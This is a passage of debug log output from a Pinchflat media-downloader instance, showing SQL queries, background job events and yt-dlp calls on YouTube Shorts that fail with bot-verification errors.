s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:50.357 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/R-oSn2nT9c0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/93/b893d262bf0370c998d746ff680618e2c7db38e0ab3f622718b9587fdbcd74a7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:51.800 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/Jc5nXqHYIOE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ad/83/ad8355521191453a7d669b158237b16ae8976b7dace9cf170eee91f0ddd0aee0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] Jc5nXqHYIOE: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:51.801 [error] yt-dlp download error for media item #398: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] Jc5nXqHYIOE: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:51.801 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] Jc5nXqHYIOE: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:51.802 [info] {"args":{"id":398},"id":239,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1982632,"event":"job:stop","attempt":1,"queue_time":38818127,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:51.803 [debug] QUERY OK source="tasks" db=0.6ms idle=208.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:51.804 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=209.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [399] 20:31:51.808 [info] {"args":{"id":400},"id":241,"meta":{},"system_time":1774150311808846852,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:51.809 [debug] QUERY OK source="media_items" db=0.7ms idle=214.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [400] 20:31:51.810 [debug] QUERY OK source="tasks" db=0.8ms idle=6.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:51.810 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:51.811 [debug] QUERY OK source="media_items" db=0.5ms queue=0.3ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [399, 400] 20:31:51.812 [debug] QUERY OK source="sources" db=1.8ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:51.812 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:51.813 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [400] 20:31:51.814 [debug] QUERY OK source="media_metadata" db=0.2ms idle=4.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [400] 20:31:51.815 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:51.815 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:51.816 [debug] QUERY OK source="settings" db=0.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:51.816 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:51.817 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:51.818 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:51.818 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:51.818 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/FMuHeX9Qlww --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ec/77/ec77532f3a98ad0d8e4d397fb1e38d2fb19dfd7085323e2716b2dc7eaa2f031c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:52.254 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/R-oSn2nT9c0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/93/b893d262bf0370c998d746ff680618e2c7db38e0ab3f622718b9587fdbcd74a7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] R-oSn2nT9c0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:52.254 [error] yt-dlp download error for media item #399: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] R-oSn2nT9c0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:52.254 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] R-oSn2nT9c0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:52.256 [info] {"args":{"id":399},"id":240,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1913675,"event":"job:stop","attempt":1,"queue_time":39340116,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:52.257 [debug] QUERY OK source="tasks" db=0.5ms idle=438.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:52.257 [debug] QUERY OK source="media_items" db=0.5ms idle=439.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [400] 20:31:52.263 [info] {"args":{"id":401},"id":242,"meta":{},"system_time":1774150312263161414,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:52.264 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=365.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [401] 20:31:52.266 [debug] QUERY OK source="tasks" db=2.4ms idle=7.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:52.268 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:52.269 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=11.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [400, 401] 20:31:52.269 [debug] QUERY OK source="sources" db=1.4ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:52.271 [debug] QUERY OK source="media_profiles" db=0.9ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:52.273 [debug] QUERY OK source="media_items" db=0.8ms queue=0.3ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [401] 20:31:52.275 [debug] QUERY OK source="media_metadata" db=0.2ms idle=9.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [401] 20:31:52.276 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:52.277 [debug] QUERY OK source="settings" db=0.6ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:52.277 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:52.279 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:52.280 [debug] QUERY OK source="settings" db=0.3ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:52.281 [debug] QUERY OK source="settings" db=0.9ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:52.282 [debug] QUERY OK source="settings" db=0.5ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:52.282 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/JpYtM4pmKnI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/68/c9683a0165bcc7d0489730df5f7500a16e4b8b0757a8684569a5c576c5ecdcee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:53.519 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/FMuHeX9Qlww --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ec/77/ec77532f3a98ad0d8e4d397fb1e38d2fb19dfd7085323e2716b2dc7eaa2f031c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] FMuHeX9Qlww: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:53.519 [error] yt-dlp download error for media item #400: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] FMuHeX9Qlww: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:53.520 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] FMuHeX9Qlww: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:53.520 [info] {"args":{"id":400},"id":241,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1711175,"event":"job:stop","attempt":1,"queue_time":40808085,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:53.521 [debug] QUERY OK source="tasks" db=0.6ms idle=1240.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:53.522 [debug] QUERY OK source="media_items" db=0.5ms idle=1240.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [401] 20:31:53.526 [info] {"args":{"id":402},"id":243,"meta":{},"system_time":1774150313526729707,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:53.527 [debug] QUERY OK source="tasks" db=0.4ms idle=6.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:53.527 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=625.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [402] 20:31:53.528 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:53.528 [debug] QUERY OK source="media_items" db=0.2ms queue=0.5ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 